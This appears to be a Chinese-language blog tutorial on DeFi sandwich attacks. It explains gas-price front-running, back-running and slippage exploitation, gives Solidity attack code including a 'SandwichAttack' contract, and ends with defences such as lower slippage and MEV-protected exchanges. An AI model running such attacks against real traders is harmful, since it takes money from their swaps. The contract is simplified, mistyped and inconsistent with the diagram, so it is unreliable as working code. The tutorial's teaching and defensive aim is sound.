三明治攻击实战拆解

说实话,三明治攻击是DeFi世界里最经典的MEV攻击手法之一。我入行那会儿,第一次在链上看到这种攻击模式,第一反应是「这也太巧妙了吧」。后来自己动手拆解了几十个攻击案例,才真正理解其中的门道。

今天咱们就把三明治攻击的四个核心环节掰开揉碎来讲。你想想看,一个攻击者要完成三明治攻击,需要做哪些事?说白了就三步:先买、等你买、再卖。但每一步都有讲究。

前置交易(Front-run)技术

前置交易,就是抢在受害者交易之前买入。这里有个关键点——Gas价格博弈

我记得有一次在分析一个Uniswap V2上的攻击案例时,发现攻击者把Gas价格设得比受害者高出了整整3倍。为什么?因为矿工优先打包Gas高的交易。攻击者需要确保自己的「买入交易」排在受害者前面。

核心逻辑:

  • 监控mempool中的待处理交易
  • 识别出大额交易(滑点容忍度高的目标)
  • 构造反向交易,设置更高的Gas价格
  • 抢在目标交易前执行

实际代码中,前置交易通常这样实现:

// 伪代码示例:前置交易逻辑
function frontRun(address targetToken, uint256 amountIn) external {
    // 1. 监听mempool
    bytes32 txHash = mempool.getPendingTx(targetUser);
    
    // 2. 计算最优Gas价格
    uint256 gasPrice = txHash.gasPrice * 150 / 100; // 提高50%
    
    // 3. 构造买入交易
    swapExactTokensForTokens(
        amountIn,
        0, // 接受任何滑点
        path,
        address(this),
        block.timestamp + 1
    );
}

我的经验:实际项目中,单纯提高Gas价格并不总是有效。我遇到过几次因为网络拥堵,即使Gas设得很高,交易还是被卡在队列里。后来我改用Flashbots的私有交易池,成功率才稳定下来。

后置交易(Back-run)技术

后置交易,就是在受害者交易完成后,立即卖出。这个时机把握很关键——太早卖,价格还没拉到位;太晚卖,别人已经抢跑了

我曾经帮一个项目方做安全审计时,发现他们的AMM池子存在一个漏洞:攻击者可以通过后置交易,在受害者交易完成后的同一个区块内完成卖出。这意味着受害者完全来不及反应。

参数 前置交易 后置交易
Gas策略 高于受害者 略低于受害者
执行时机 受害者交易前 受害者交易后
滑点设置 高容忍度 低容忍度
风险 可能被反抢 价格回撤风险

后置交易的核心代码通常长这样:

// 后置交易:在受害者交易后立即卖出
function backRun(address tokenIn, uint256 amountOutMin) external {
    // 等待受害者交易完成
    require(victimTxCompleted, "waiting for victim");
    
    // 立即卖出
    uint256 balance = IERC20(tokenIn).balanceOf(address(this));
    swapExactTokensForTokens(
        balance,
        amountOutMin,
        reversePath,
        address(this),
        block.timestamp
    );
}

滑点容忍度利用

这是三明治攻击中最容易被忽视,但也是最致命的一环。说白了,滑点容忍度就是受害者给攻击者开的「绿灯」

你想想看,为什么有些交易会被三明治攻击?因为用户设置了过高的滑点容忍度。比如一个用户想用100 USDC买ETH,设置了5%的滑点。这意味着即使价格被拉到105 USDC,交易依然会执行。攻击者就利用这5%的空间来获利。

避坑指南:我曾经见过一个项目,用户默认滑点设置是3%。结果攻击者专门盯着这个池子,每次有大额交易就做三明治。后来我建议他们把默认滑点降到0.5%,攻击事件直接减少了80%。

滑点容忍度的利用策略:

  • 高滑点(>3%):攻击者可以放心做三明治,利润空间大
  • 中滑点(1%-3%):需要精确计算,利润空间有限
  • 低滑点(<1%):基本无法做三明治,风险太高

攻击合约示例分析

下面我给出一个完整的三明治攻击合约示例。这个合约我在实际审计中遇到过类似的,稍微简化了一下逻辑:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SandwichAttack {
    address public owner;
    IUniswapV2Router public router;
    
    constructor(address _router) {
        owner = msg.sender;
        router = IUniswapV2Router(_router);
    }
    
    // 三明治攻击主函数
    function executeSandwich(
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        address victim
    ) external onlyOwner {
        // 第一步:前置交易 - 买入
        uint256 amountOut = router.swapExactTokensForTokens(
            amountIn,
            0, // 接受任何滑点
            getPath(tokenIn, tokenOut),
            address(this),
            block.timestamp
        );
        
        // 第二步:等待受害者交易(通过mempool监控)
        // 实际项目中这里需要监听链上事件
        
        // 第三步:后置交易 - 卖出
        uint256 balance = IERC20(tokenOut).balanceOf(address(this));
        router.swapExactTokensForTokens(
            balance,
            0,
            getPath(tokenOut, tokenIn),
            address(this),
            block.timestamp
        );
        
        // 计算利润
        uint256 profit = IERC20(tokenIn).balanceOf(address(this)) - amountIn;
        // 将利润转给攻击者
        IERC20(tokenIn).transfer(owner, profit);
    }
    
    function getPath(address token0, address token1) 
        internal pure returns (address[] memory) {
        address[] memory path = new address[](2);
        path[0] = token0;
        path[1] = token1;
        return path;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
}

关键点分析:

  • 合约需要预先持有tokenIn作为启动资金
  • 前置交易和后置交易必须在同一个区块内完成
  • 利润计算要扣除Gas费用
  • 实际部署时需要考虑Flashbots等MEV基础设施

嗯,这里要注意一点。上面的合约只是一个教学示例。实际攻击中,攻击者会使用更复杂的策略,比如:

  • 使用闪电贷获取启动资金
  • 多路径套利(跨多个DEX)
  • 动态调整Gas价格
  • 使用私有交易池避免被反抢

我建议你在学习这些技术时,一定要在测试网上先跑一遍。我自己当年就是在Ropsten上反复测试,才真正理解了三明治攻击的每一个细节。说实话,纸上谈兵和实际跑一次,完全是两码事。

三明治攻击流程示意图 区块 N 区块 N+1 区块 N+2 前置交易 (买入) 受害者交易 (大额买入) 后置交易 (卖出) 价格变化曲线 价格被推高 受害者买入点 攻击者卖出点 攻击者利润空间 时间线 → 攻击者通过前置交易推高价格,受害者高价买入,攻击者后置交易获利

最后说一句,三明治攻击虽然看起来复杂,但防御手段其实也很明确:降低滑点容忍度、使用限价单、选择有MEV保护的DEX。我在实际项目中,最推荐的做法就是让用户设置0.3%以内的滑点,配合TWAP订单,基本能防住99%的三明治攻击。

个人建议:如果你是做DEX开发的,一定要在合约层面加入滑点保护机制。我见过太多项目因为忽略了这一点,上线第一天就被MEV机器人盯上了。防患于未然,比事后补救要省心得多。